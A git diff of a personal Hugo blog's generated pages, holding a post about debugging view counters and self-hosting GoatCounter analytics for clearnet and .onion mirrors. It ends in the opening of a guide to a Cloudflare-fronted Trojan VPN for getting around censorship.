    +  window.goatcounter = { endpoint: ONION ? '/count' : 'https://statsblog.alipourimjourneys.ir/count' };
    +  var s = document.createElement('script');
    +  s.async = true; s.src = '/js/count.js';
    +  document.head.appendChild(s);
    +})();
    +</script>
    +
    +<!-- Helper: inline meta counts (post pages + lists) and totals -->
    +<script>
    +(function () {
    +  const ONION = /\.onion$/i.test(location.hostname);
    +  const GC_HOST = ONION ? '' : 'https://statsblog.alipourimjourneys.ir'; // '' = same-origin on .onion
    +  const SING='view', PLUR='views';
    +  const nf = new Intl.NumberFormat();
    +
    +  function ready(fn){ if (document.readyState !== 'loading') fn(); else document.addEventListener('DOMContentLoaded', fn); }
    +  function gcPath(){ try { return (window.goatcounter && window.goatcounter.get_data) ? window.goatcounter.get_data().p : location.pathname; } catch { return location.pathname; } }
    +  async function fetchCount(path){
    +    try {
    +      const r = await fetch(`${GC_HOST}/counter/${encodeURIComponent(path)}.json?t=${Date.now()}`, { credentials:'omit' });
    +      if (r.status === 404) return 0;
    +      if (!r.ok) throw 0;
    +      const j = await r.json();
    +      const n = Number(String(j.count).replace(/,/g,''));
    +      return Number.isFinite(n) ? n : 0;
    +    } catch { return null; }
    +  }
    +  const label = (n) => (n === null ? '—' : `${nf.format(n)} ${n === 1 ? SING : PLUR}`);
    +
    +  ready(async function () {
    +    // A) Single post: add to existing meta row + small bottom
    +    const post = document.querySelector('.post-single');
    +    if (post) {
    +      const meta = post.querySelector('.post-header .post-meta, .post-header .entry-meta, .post-meta');
    +      const path = gcPath();
    +      const n = await fetchCount(path);
    +      if (meta) {
    +        let span = meta.querySelector('.post-views'); if (!span) { span = document.createElement('span'); span.className='post-views'; meta.appendChild(span); }
    +        span.textContent = label(n ?? 0);
    +      }
    +      const after = post.querySelector('.post-content') || post;
    +      let bottom = post.querySelector('.post-views-bottom'); if (!bottom) { bottom = document.createElement('div'); bottom.className='post-views-bottom'; after.insertAdjacentElement('afterend', bottom); }
    +      bottom.textContent = label(n ?? 0);
    +    }
    +
    +    // B) Lists (/posts, home, sections): show “0 views” instead of hiding
    +    const cards = document.querySelectorAll('article.post-entry');
    +    await Promise.all(Array.from(cards).map(async (card) => {
    +      const meta = card.querySelector('.entry-footer, .post-meta');
    +      const link = card.querySelector('a.entry-link, h2 a, .entry-title a');
    +      if (!meta || !link) return;
    +      try {
    +        const u = new URL(link.getAttribute('href'), location.origin);
    +        if (u.origin !== location.origin) return;
    +        let span = meta.querySelector('.post-views'); if (!span) { span = document.createElement('span'); span.className='post-views'; meta.appendChild(span); }
    +        const n = await fetchCount(u.pathname);
    +        span.textContent = label(n ?? 0);
    +      } catch {}
    +    }));
    +
    +    // C) Site totals (optional placeholders)
    +    const pvEl = document.getElementById('vercount_value_site_pv');
    +    if (pvEl) { const n = await fetchCount('TOTAL'); pvEl.textContent = (n===null) ? '—' : nf.format(n); }
    +  });
    +})();
    +</script>
    +

    Style so meta items stay inline with middle dots (PaperMod‑like). Put this in assets/css/extended/goatcounter.css:

    +
    .post-single .post-header .post-meta,
    +.post-single .post-header .entry-meta,
    +.post-entry .entry-footer,
    +.post-entry .post-meta {
    +  display:flex; align-items:center; flex-wrap:wrap; gap:.35rem;
    +}
    +.post-single .post-header .post-meta > *,
    +.post-single .post-header .entry-meta > *,
    +.post-entry .entry-footer > *,
    +.post-entry .post-meta > * {
    +  display:inline-flex; align-items:center; white-space:nowrap;
    +}
    +.post-single .post-header .post-meta > * + *::before,
    +.post-single .post-header .entry-meta > * + *::before,
    +.post-entry .entry-footer > * + *::before,
    +.post-entry .post-meta > * + *::before {
    +  content:"·"; margin:0 .5rem; opacity:.6;
    +}
    +.post-views-bottom { margin:.6rem 0 0; opacity:.75; font-size:.95em; }
    +

    +

    6) Count Tor (.onion) visits into the same site

    +

    In the .onion server block, proxy GoatCounter endpoints to the same site by forcing the Host header:

    +
    # inside: server { ... } for fjthpp2h3mj2r....onion
    +
    +location = /count {
    +  proxy_pass http://127.0.0.1:8081/count;
    +  proxy_set_header Host statsblog.alipourimjourneys.ir;
    +  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +  proxy_set_header X-Forwarded-Proto http; # onion is http
    +}
    +
    +location /counter/ {
    +  proxy_pass http://127.0.0.1:8081/counter/;
    +  proxy_set_header Host statsblog.alipourimjourneys.ir;
    +  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +  proxy_set_header X-Forwarded-Proto http;
    +  add_header Cache-Control "no-store";
    +  proxy_no_cache 1; proxy_cache_bypass 1;
    +}
    +

    Because the loader above sets window.goatcounter.endpoint to /count on .onion, both hits and reads stay on the onion origin and are tallied into the same GoatCounter site.

    +
    +

    Note on DNT/Tor: Tor Browser sends DNT: 1. GoatCounter respects DNT by default, so Tor users won’t be counted unless you disable “Respect Do Not Track” in GoatCounter settings. Your choice; I left the code compatible either way.

    +
    +

    7) Troubleshooting quick notes

    +
      +
    • 400 “no site at this domain” → create the site with -vhost=statsblog.alipourimjourneys.ir or fix your proxy Host header.
    • +
    • Counts don’t change on onion → verify Tor path via torsocks, watch logs: +
      docker compose logs -f goatcounter
      +# look for “ignored: bot” (curl UA), or DNT being respected
      +
    • +
    • DevTools sanity → on clearnet you should see https://statsblog…/count and …/counter/*.json; on onion you should see /count and /counter/*.json (same‑origin).
    • +
    +

    That’s it. One dashboard; clearnet + onion both increment; tiny inline counters everywhere.

    +

    Honestly, self-hosting GoatCounter wasn’t as straightforward as I thought it would be. It almost made me cry a few times. I definitly thought about my life choices a few times along the way. But oh well, now it’s done and dusted, and I’m a happy puppy! :D

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM
    +jSolRg//SwN9nMf9/Wgkr5h+dQowZMCHXXcKWgO8J08ITVDN1+weNNGANFrz63SQ
    +DajHGeSogYW1+AAxJaAeQ7hLdOX9foV5pT+kWANIjRBXnFyW+WR7kt6tmN2rcSH8
    +z4GKxqE3kdd3kCRhqT0pLiwnurqLgdCK+YldftO6GB8WP4oNDqOwHvoIE6o0ekdH
    +sn7ZBIxMaWc5UqijjqgBHhdHz3uSmL+rN4UwLFM3WXXlwl3HdGyjHcNTG7k648s2
    +X5+7a78OZAuDElpyp9y6WqiAFJQdrwBbTv3vvpU+f911voV7ZA+KbUqHsQrISTKz
    +cd+tPw2lcayfBZRtHMrL3fygvT3AWktcSavZrU5EOX/u/P7eMWEYu0FYh6aHqRak
    ++Ft2FR7EPlB2faS6wWYfoua6BYxFvevXX1fk+0HhZn9UJxJPaa/WTgVWDgpt++Ce
    +fdaDmsR69LIj2QTjPMXdQiUKkWPG2ziadTwJEWUHzOuREifmuBgp9Mwedk6zYkdT
    +m5Roi70IPtX3dDDHG5Votw3AKng3gaU7YcNzZVyi3iZkQkUHPUK47Wj21FajikMP
    +gCcWsoYWBRqdhL5XDrodt28AuLpm0cslz79DZdbLnielcjOS+GaUynjLzEWveOib
    +dxLcbIIap+nt315cjvkfatGv14Dres/K7vhQAhqGy5o0LM1D0qc=
    +=o387
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/view_count.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/view_count.md.asc
    +gpg --verify view_count.md.asc view_count.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/analytics/page/1/index.html b/public-clearnet/tags/analytics/page/1/index.html new file mode 100644 index 0000000..62ab0fd --- /dev/null +++ b/public-clearnet/tags/analytics/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/analytics/ + \ No newline at end of file diff --git a/public-clearnet/tags/busuanzi/index.html b/public-clearnet/tags/busuanzi/index.html new file mode 100644 index 0000000..36602bc --- /dev/null +++ b/public-clearnet/tags/busuanzi/index.html @@ -0,0 +1,11 @@ +Busuanzi | AlipourIm journeys +

    A Tiny 'Views' Badge Sent Me Down a Rabbit Hole (PaperMod + Busuanzi + Debugging --> swapped with GoatCounter the GOAT)

    I tried to add a simple ‘views’ counter to my PaperMod blog. It worked—until it didn’t. Here’s the story of blank numbers, a mysterious Chinese message, and the final fix.

    October 18, 2025 · 9 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/busuanzi/index.xml b/public-clearnet/tags/busuanzi/index.xml new file mode 100644 index 0000000..2319f5a --- /dev/null +++ b/public-clearnet/tags/busuanzi/index.xml @@ -0,0 +1,336 @@ +Busuanzi on AlipourIm journeyshttps://blog.alipour.eu/tags/busuanzi/Recent content in Busuanzi on AlipourIm journeysHugo -- 0.146.0enSat, 18 Oct 2025 10:45:00 +0000A Tiny 'Views' Badge Sent Me Down a Rabbit Hole (PaperMod + Busuanzi + Debugging --> swapped with GoatCounter the GOAT)https://blog.alipour.eu/posts/papermod-views-debugging-story/Sat, 18 Oct 2025 10:45:00 +0000https://blog.alipour.eu/posts/papermod-views-debugging-story/I tried to add a simple &lsquo;views&rsquo; counter to my PaperMod blog. It worked—until it didn’t. Here’s the story of blank numbers, a mysterious Chinese message, and the final fix.I only wanted a tiny “views” badge next to my RSS link—just a friendly nudge that real humans were reading my words. PaperMod makes it easy to tuck little UI bits in the footer, so I dropped in Busuanzi (that neat, no-account page/site view counter) and called it a day.

    +

    The thing is, I don’t think the counter even works correctly. +Or maybe I’m undermining my blog popularity! +But regardless, it was a small stiching task that I did on this lovely Friday evening. +The day before my next term of German class starts. +The day before playing deadface CTF that I’ve been counting days for.

    + +

    First I got the layout right. PaperMod supports extension partials, so I used a simple flex row to keep things side by side:

    +
    <div class="site-meta-row" style="display:flex;align-items:center;gap:.75rem;flex-wrap:wrap;">
    +  <a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS"
    +     class="rss-link" style="display:inline-flex;align-items:center;gap:.35rem;">
    +    { partial "svg.html" (dict "name" "rss") }
    +    <span>RSS</span>
    +  </a>
    +
    +  <span aria-hidden="true">·</span>
    +
    +  <span id="busuanzi_container_site_pv">
    +    Site views: <span id="busuanzi_value_site_pv">—</span>
    +  </span>
    +  <span aria-hidden="true">·</span>
    +  <span id="busuanzi_container_site_uv">
    +    Visitors: <span id="busuanzi_value_site_uv">—</span>
    +  </span>
    +</div>
    +

    So far, so good. The labels showed up. The numbers, though? Nothing. Just an em dash. I shrugged—maybe it was a caching thing.

    +

    The first round of checks

    +

    I added the script site‑wide in layouts/partials/extend_head.html:

    +
    <script src="//cdn.busuanzi.cc/busuanzi/3.6.9/busuanzi.min.js" defer></script>
    +

    Refreshed. Still blank.

    +

    DevTools time. Network tab: the script does load:

    +
      +
    • Request URL: https://cdn.busuanzi.cc/busuanzi/3.6.9/busuanzi.min.js
    • +
    • Request Method: GET
    • +
    • Status Code: 304 Not Modified
    • +
    • Referrer Policy: strict-origin-when-cross-origin
    • +
    • User-Agent: a normal Chromium build (nothing exotic)
    • +
    +

    No red flags. Just a perfectly normal 304.

    +

    Maybe my IDs were wrong? Busuanzi has a couple of flavors: busuanzi_value_* (with container wrappers) or shorthand like busuanzi_site_pv. I tried both, carefully, one at a time. Still… .

    +

    The odd message

    +

    Then it flashed for a moment—the Chinese line that made me google twice to be sure I saw it right:

    +
    +

    “域名过长,已被禁用 views”

    +

    That’s “domain name too long, disabled.” Wait, what?

    +

    I checked my hostname: blog.alipourimjourneys.ir. I counted: 27 characters. Busuanzi’s limit? 22. Suddenly, everything clicked. The script loads, but the service refuses to count for long domains, so the placeholders never fill.

    +

    Two ways out

    +

    At this point I had two clean options:

    +
      +
    1. Keep Busuanzi and move the site to the apex domain (short enough).
    2. +
    3. Keep my beloved blog. subdomain and swap in Vercount, a Busuanzi‑style drop‑in without the 22‑char limit.
    4. +
    +

    I liked the subdomain (habit, mostly), so I tried Vercount.

    +

    The swap (five-minute fix)

    +

    I removed the Busuanzi script and added Vercount instead:

    +
    <!-- extend_head.html -->
    +<script defer src="https://events.vercount.one/js"></script>
    +

    I kept the same tidy footer row, but switched the IDs to Vercount’s:

    +
    <div class="site-meta-row" style="display:flex;align-items:center;gap:.75rem;flex-wrap:wrap;">
    +  <a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS"
    +     class="rss-link" style="display:inline-flex;align-items:center;gap:.35rem;">
    +    { partial "svg.html" (dict "name" "rss") }
    +    <span>RSS</span>
    +  </a>
    +
    +  <span aria-hidden="true">·</span>
    +
    +  <span>Site views: <span id="vercount_value_site_pv">—</span></span>
    +  <span aria-hidden="true">·</span>
    +  <span>Visitors: <span id="vercount_value_site_uv">—</span></span>
    +</div>
    +

    For per‑post counts (in the post meta), I added:

    +
    <span id="vercount_value_page_pv">—</span> views
    +

    Deploy. Refresh. Numbers.

    +

    But if you want to stay with Busuanzi…

    +

    If your apex domain is short enough, pointing the site there works fine. The gist:

    +
      +
    • +

      Set baseURL in Hugo to the apex:

      +
      baseURL = "https://alipourimjourneys.ir/"
      +
    • +
    • +

      Add a 301 redirect from the long subdomain to the apex (Cloudflare, Netlify, Nginx—pick your tool).

      +
    • +
    • +

      Keep your Busuanzi spans as you had them; once the host fits the limit, they’ll populate.

      +
    • +
    +

    Post‑mortem checklist (a.k.a. things I learned)

    +
      +
    • If the script loads but you get blanks, it’s not always IDs or caching. Sometimes it’s a service rule.
    • +
    • Busuanzi refuses long hostnames (>22 chars) and ignores localhost. On those hosts, the placeholders stay empty or show the Chinese “disabled” note.
    • +
    • Don’t mix providers on the same page. Load exactly one script (Busuanzi or Vercount).
    • +
    • CSP and blockers matter. If you run a strict Content‑Security‑Policy or heavy ad blockers, they can block the script. Test in a clean profile and allow the script origin.
    • +
    +

    Happy ending

    +

    Now my footer shows RSS, site views, and visitors on a single neat line, and each post has a tiny “views” chip that quietly ticks upward. I got the tiny badge I wanted—and a reminder that the smallest features can hide the most interesting puzzles.

    +

    If you hit the same wall, check the hostname length first. It might save you an afternoon—and lead you to a solution you’ll feel weirdly proud of.

    +

    Final notes

    +

    Yea… I just felt this feature was missing, and it’s good to have it there. +I hope I stop adding things to the blog, and just keep writing in it. +I’ve spent too much time on it, and it feels like wasted time.

    +
    +

    Change of plans: Self‑hosting GoatCounter for PaperMod (Docker + Cloudflare + Onion)

    +

    This is the self‑host part I ended up with: Docker for GoatCounter, Cloudflare (orange‑cloud) in front, Nginx on the server as reverse proxy, plus my .onion mirror counting to the same GoatCounter site. Paste this whole section at the end of the post.

    +
    +

    1) Clean up old counters (optional, once)

    +
    # From your Hugo site root
    +grep -RinE "busuanzi|vercount|vercount_value_|busuanzi_value_" .
    +

    Remove any matching <script> and leftover *_value_* spans you no longer want.

    +
    +

    2) Run GoatCounter with Docker Compose

    +

    Minimal docker-compose.yml in ~/goatcounter:

    +
    services:
    +  goatcounter:
    +    image: arp242/goatcounter:2.6
    +    container_name: goatcounter
    +    ports:
    +      - "127.0.0.1:8081:8080"   # bind only to localhost; nginx will proxy
    +    volumes:
    +      - goatcounter-data:/home/goatcounter/goatcounter-data
    +    restart: unless-stopped
    +
    +volumes:
    +  goatcounter-data: {}
    +

    Start:

    +
    docker compose pull && docker compose up -d
    +

    Initialize the site (replace email if needed):

    +
    docker compose exec goatcounter   goatcounter db create site   -vhost=statsblog.alipourimjourneys.ir   -user.email=iman.alip2001@gmail.com
    +
    +

    If you ever see “no site at this domain” on localhost: use the exact vhost above.

    +
    +

    3) Cloudflare + Origin certificate (CF → origin TLS)

    +
      +
    • DNS: statsblog.alipourimjourneys.ir → server IP (proxied/orange).
    • +
    • SSL/TLS mode: Full (strict).
    • +
    • Issue a Cloudflare Origin Certificate for statsblog.alipourimjourneys.ir and save on the server:
    • +
    +
    sudo mkdir -p /etc/ssl/cloudflare
    +sudo nano /etc/ssl/cloudflare/origin.crt   # paste PEM
    +sudo nano /etc/ssl/cloudflare/origin.key   # paste key
    +sudo chown root:root /etc/ssl/cloudflare/origin.{crt,key}
    +sudo chmod 644 /etc/ssl/cloudflare/origin.crt
    +sudo chmod 600 /etc/ssl/cloudflare/origin.key
    +

    +

    4) Nginx vhost for the stats subdomain

    +
    # /etc/nginx/sites-available/statsblog.alipourimjourneys.ir.conf
    +server {
    +  listen 80;
    +  server_name statsblog.alipourimjourneys.ir;
    +  return 301 https://$host$request_uri;
    +}
    +
    +server {
    +  listen 443 ssl http2;
    +  server_name statsblog.alipourimjourneys.ir;
    +
    +  ssl_certificate     /etc/ssl/cloudflare/origin.crt;
    +  ssl_certificate_key /etc/ssl/cloudflare/origin.key;
    +
    +  # Proxy to the container on localhost
    +  proxy_set_header Host              $host;
    +  proxy_set_header X-Real-IP         $remote_addr;
    +  proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +  proxy_set_header X-Forwarded-Proto $scheme;
    +
    +  location / { proxy_pass http://127.0.0.1:8081; }
    +}
    +

    Enable & reload:

    +
    sudo ln -s /etc/nginx/sites-available/statsblog.alipourimjourneys.ir.conf /etc/nginx/sites-enabled/
    +sudo nginx -t && sudo systemctl reload nginx
    +

    +

    5) Hugo integration (clearnet + onion, singular/plural + “0 views”)

    +

    Self‑host count.js so the onion mirror never fetches a third‑party script:

    +
      +
    • Save the official count.js as static/js/count.js in your Hugo repo.
    • +
    +

    Then add this to layouts/partials/extend_head.html (loader + helper):

    +
    <!-- Loader: choose endpoint based on hostname -->
    +<script>
    +(function () {
    +  var ONION = /\.onion$/i.test(location.hostname);
    +  window.goatcounter = { endpoint: ONION ? '/count' : 'https://statsblog.alipourimjourneys.ir/count' };
    +  var s = document.createElement('script');
    +  s.async = true; s.src = '/js/count.js';
    +  document.head.appendChild(s);
    +})();
    +</script>
    +
    +<!-- Helper: inline meta counts (post pages + lists) and totals -->
    +<script>
    +(function () {
    +  const ONION = /\.onion$/i.test(location.hostname);
    +  const GC_HOST = ONION ? '' : 'https://statsblog.alipourimjourneys.ir'; // '' = same-origin on .onion
    +  const SING='view', PLUR='views';
    +  const nf = new Intl.NumberFormat();
    +
    +  function ready(fn){ if (document.readyState !== 'loading') fn(); else document.addEventListener('DOMContentLoaded', fn); }
    +  function gcPath(){ try { return (window.goatcounter && window.goatcounter.get_data) ? window.goatcounter.get_data().p : location.pathname; } catch { return location.pathname; } }
    +  async function fetchCount(path){
    +    try {
    +      const r = await fetch(`${GC_HOST}/counter/${encodeURIComponent(path)}.json?t=${Date.now()}`, { credentials:'omit' });
    +      if (r.status === 404) return 0;
    +      if (!r.ok) throw 0;
    +      const j = await r.json();
    +      const n = Number(String(j.count).replace(/,/g,''));
    +      return Number.isFinite(n) ? n : 0;
    +    } catch { return null; }
    +  }
    +  const label = (n) => (n === null ? '—' : `${nf.format(n)} ${n === 1 ? SING : PLUR}`);
    +
    +  ready(async function () {
    +    // A) Single post: add to existing meta row + small bottom
    +    const post = document.querySelector('.post-single');
    +    if (post) {
    +      const meta = post.querySelector('.post-header .post-meta, .post-header .entry-meta, .post-meta');
    +      const path = gcPath();
    +      const n = await fetchCount(path);
    +      if (meta) {
    +        let span = meta.querySelector('.post-views'); if (!span) { span = document.createElement('span'); span.className='post-views'; meta.appendChild(span); }
    +        span.textContent = label(n ?? 0);
    +      }
    +      const after = post.querySelector('.post-content') || post;
    +      let bottom = post.querySelector('.post-views-bottom'); if (!bottom) { bottom = document.createElement('div'); bottom.className='post-views-bottom'; after.insertAdjacentElement('afterend', bottom); }
    +      bottom.textContent = label(n ?? 0);
    +    }
    +
    +    // B) Lists (/posts, home, sections): show “0 views” instead of hiding
    +    const cards = document.querySelectorAll('article.post-entry');
    +    await Promise.all(Array.from(cards).map(async (card) => {
    +      const meta = card.querySelector('.entry-footer, .post-meta');
    +      const link = card.querySelector('a.entry-link, h2 a, .entry-title a');
    +      if (!meta || !link) return;
    +      try {
    +        const u = new URL(link.getAttribute('href'), location.origin);
    +        if (u.origin !== location.origin) return;
    +        let span = meta.querySelector('.post-views'); if (!span) { span = document.createElement('span'); span.className='post-views'; meta.appendChild(span); }
    +        const n = await fetchCount(u.pathname);
    +        span.textContent = label(n ?? 0);
    +      } catch {}
    +    }));
    +
    +    // C) Site totals (optional placeholders)
    +    const pvEl = document.getElementById('vercount_value_site_pv');
    +    if (pvEl) { const n = await fetchCount('TOTAL'); pvEl.textContent = (n===null) ? '—' : nf.format(n); }
    +  });
    +})();
    +</script>
    +

    Style so meta items stay inline with middle dots (PaperMod‑like). Put this in assets/css/extended/goatcounter.css:

    +
    .post-single .post-header .post-meta,
    +.post-single .post-header .entry-meta,
    +.post-entry .entry-footer,
    +.post-entry .post-meta {
    +  display:flex; align-items:center; flex-wrap:wrap; gap:.35rem;
    +}
    +.post-single .post-header .post-meta > *,
    +.post-single .post-header .entry-meta > *,
    +.post-entry .entry-footer > *,
    +.post-entry .post-meta > * {
    +  display:inline-flex; align-items:center; white-space:nowrap;
    +}
    +.post-single .post-header .post-meta > * + *::before,
    +.post-single .post-header .entry-meta > * + *::before,
    +.post-entry .entry-footer > * + *::before,
    +.post-entry .post-meta > * + *::before {
    +  content:"·"; margin:0 .5rem; opacity:.6;
    +}
    +.post-views-bottom { margin:.6rem 0 0; opacity:.75; font-size:.95em; }
    +

    +

    6) Count Tor (.onion) visits into the same site

    +

    In the .onion server block, proxy GoatCounter endpoints to the same site by forcing the Host header:

    +
    # inside: server { ... } for fjthpp2h3mj2r....onion
    +
    +location = /count {
    +  proxy_pass http://127.0.0.1:8081/count;
    +  proxy_set_header Host statsblog.alipourimjourneys.ir;
    +  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +  proxy_set_header X-Forwarded-Proto http; # onion is http
    +}
    +
    +location /counter/ {
    +  proxy_pass http://127.0.0.1:8081/counter/;
    +  proxy_set_header Host statsblog.alipourimjourneys.ir;
    +  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +  proxy_set_header X-Forwarded-Proto http;
    +  add_header Cache-Control "no-store";
    +  proxy_no_cache 1; proxy_cache_bypass 1;
    +}
    +

    Because the loader above sets window.goatcounter.endpoint to /count on .onion, both hits and reads stay on the onion origin and are tallied into the same GoatCounter site.

    +
    +

    Note on DNT/Tor: Tor Browser sends DNT: 1. GoatCounter respects DNT by default, so Tor users won’t be counted unless you disable “Respect Do Not Track” in GoatCounter settings. Your choice; I left the code compatible either way.

    +
    +

    7) Troubleshooting quick notes

    +
      +
    • 400 “no site at this domain” → create the site with -vhost=statsblog.alipourimjourneys.ir or fix your proxy Host header.
    • +
    • Counts don’t change on onion → verify Tor path via torsocks, watch logs: +
      docker compose logs -f goatcounter
      +# look for “ignored: bot” (curl UA), or DNT being respected
      +
    • +
    • DevTools sanity → on clearnet you should see https://statsblog…/count and …/counter/*.json; on onion you should see /count and /counter/*.json (same‑origin).
    • +
    +

    That’s it. One dashboard; clearnet + onion both increment; tiny inline counters everywhere.

    +

    Honestly, self-hosting GoatCounter wasn’t as straightforward as I thought it would be. It almost made me cry a few times. I definitly thought about my life choices a few times along the way. But oh well, now it’s done and dusted, and I’m a happy puppy! :D

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM
    +jSolRg//SwN9nMf9/Wgkr5h+dQowZMCHXXcKWgO8J08ITVDN1+weNNGANFrz63SQ
    +DajHGeSogYW1+AAxJaAeQ7hLdOX9foV5pT+kWANIjRBXnFyW+WR7kt6tmN2rcSH8
    +z4GKxqE3kdd3kCRhqT0pLiwnurqLgdCK+YldftO6GB8WP4oNDqOwHvoIE6o0ekdH
    +sn7ZBIxMaWc5UqijjqgBHhdHz3uSmL+rN4UwLFM3WXXlwl3HdGyjHcNTG7k648s2
    +X5+7a78OZAuDElpyp9y6WqiAFJQdrwBbTv3vvpU+f911voV7ZA+KbUqHsQrISTKz
    +cd+tPw2lcayfBZRtHMrL3fygvT3AWktcSavZrU5EOX/u/P7eMWEYu0FYh6aHqRak
    ++Ft2FR7EPlB2faS6wWYfoua6BYxFvevXX1fk+0HhZn9UJxJPaa/WTgVWDgpt++Ce
    +fdaDmsR69LIj2QTjPMXdQiUKkWPG2ziadTwJEWUHzOuREifmuBgp9Mwedk6zYkdT
    +m5Roi70IPtX3dDDHG5Votw3AKng3gaU7YcNzZVyi3iZkQkUHPUK47Wj21FajikMP
    +gCcWsoYWBRqdhL5XDrodt28AuLpm0cslz79DZdbLnielcjOS+GaUynjLzEWveOib
    +dxLcbIIap+nt315cjvkfatGv14Dres/K7vhQAhqGy5o0LM1D0qc=
    +=o387
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/view_count.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/view_count.md.asc
    +gpg --verify view_count.md.asc view_count.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/busuanzi/page/1/index.html b/public-clearnet/tags/busuanzi/page/1/index.html new file mode 100644 index 0000000..7f4a120 --- /dev/null +++ b/public-clearnet/tags/busuanzi/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/busuanzi/ + \ No newline at end of file diff --git a/public-clearnet/tags/bypass/index.html b/public-clearnet/tags/bypass/index.html new file mode 100644 index 0000000..176306a --- /dev/null +++ b/public-clearnet/tags/bypass/index.html @@ -0,0 +1,15 @@ +Bypass | AlipourIm journeys +

    Stealth Trojan VPN Behind Cloudflare Guide

    Introduction So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there? +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare. +This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me). +We’ll anonymise domains and secrets, so substitute with your own: +...

    September 9, 2025 · 4 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/bypass/index.xml b/public-clearnet/tags/bypass/index.xml new file mode 100644 index 0000000..29170fc --- /dev/null +++ b/public-clearnet/tags/bypass/index.xml @@ -0,0 +1,176 @@ +Bypass on AlipourIm journeyshttps://blog.alipour.eu/tags/bypass/Recent content in Bypass on AlipourIm journeysHugo -- 0.146.0enTue, 09 Sep 2025 11:05:00 +0200Stealth Trojan VPN Behind Cloudflare Guidehttps://blog.alipour.eu/posts/vpn/Tue, 09 Sep 2025 11:05:00 +0200https://blog.alipour.eu/posts/vpn/<h2 id="introduction">Introduction</h2> +<p>So you want a VPN that <strong>doesn&rsquo;t scream &ldquo;I am a VPN&rdquo;</strong> to every censor and firewall out there?<br> +Welcome to the world of <strong>Trojan over WebSocket + TLS behind Cloudflare</strong>.</p> +<p>This guide not only shows you how to set it up but also sprinkles in some <strong>debugging magic</strong> so you can figure out why things break (and they <em>will</em> break, trust me).</p> +<p>We’ll anonymise domains and secrets, so substitute with your own:</p>Introduction +

    So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there?
    +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare.

    +

    This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me).

    +

    We’ll anonymise domains and secrets, so substitute with your own:

    +
      +
    • VPN domain: web.example.com
    • +
    • Panel domain: panel.example.com
    • +
    • Secret WS path: /stealth-path_abcd1234
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Architecture at a Glance

    +

    Think of it as a disguise party:

    +
      +
    • Trojan = the shy guest (your VPN protocol)
    • +
    • Nginx = the bouncer checking IDs (reverse proxy)
    • +
    • Cloudflare = the doorman who makes sure nobody sees who’s inside (CDN & proxy)
    • +
    • Your fake website = the mask (camouflage page)
    • +
    +

    Traffic flow:

    +
    Client → Cloudflare (443) → Nginx (443) → Trojan (localhost:54321)
    +

    +

    Step 1: Panel Setup (panel.example.com)

    +
      +
    • Bind the 3x-ui panel to localhost (e.g., 127.0.0.1:46309).
    • +
    • Choose a funky web base path like /panel-bananas_42/.
    • +
    • Proxy it through Nginx with HTTPS + Basic Auth.
    • +
    • Test it at https://panel.example.com/panel-bananas_42/.
    • +
    +

    Pro tip: If you see a blank page → your base path is mismatched or Nginx is eating it. Check logs!

    +
    +

    Step 2: Trojan Inbound

    +

    In 3x-ui, create a Trojan inbound:

    +
      +
    • Local port: 54321
    • +
    • Transport: WebSocket
    • +
    • Path: /stealth-path_abcd1234
    • +
    • Security: none
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Step 3: Nginx for VPN Domain (web.example.com)

    +

    Your Nginx is the gatekeeper. Sample config:

    +
    server {
    +    listen 443 ssl http2;
    +    server_name web.example.com;
    +
    +    ssl_certificate     /etc/letsencrypt/live/web.example.com/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/web.example.com/privkey.pem;
    +
    +    # Fake website at root
    +    location / {
    +        root /var/www/html;
    +        index index.html;
    +    }
    +
    +    # Real VPN under secret WS path
    +    location /stealth-path_abcd1234 {
    +        proxy_pass http://127.0.0.1:54321;
    +        proxy_http_version 1.1;
    +        proxy_set_header Upgrade $http_upgrade;
    +        proxy_set_header Connection "upgrade";
    +        proxy_set_header Host $host;
    +    }
    +}
    +

    +

    Step 4: Firewall Rules

    +

    Lock things down! Only Cloudflare should reach you:

    +
    ufw allow 22/tcp
    +ufw allow 80/tcp
    +ufw allow 443/tcp
    +ufw deny 54321/tcp
    +

    +

    Step 5: Client Config

    +

    Trojan URI:

    +
    trojan://<PASSWORD>@web.example.com:443?type=ws&security=tls&host=web.example.com&path=%2Fstealth-path_abcd1234&sni=web.example.com#MyStealthVPN
    +

    iOS clients: Shadowrocket, Stash, FoXray
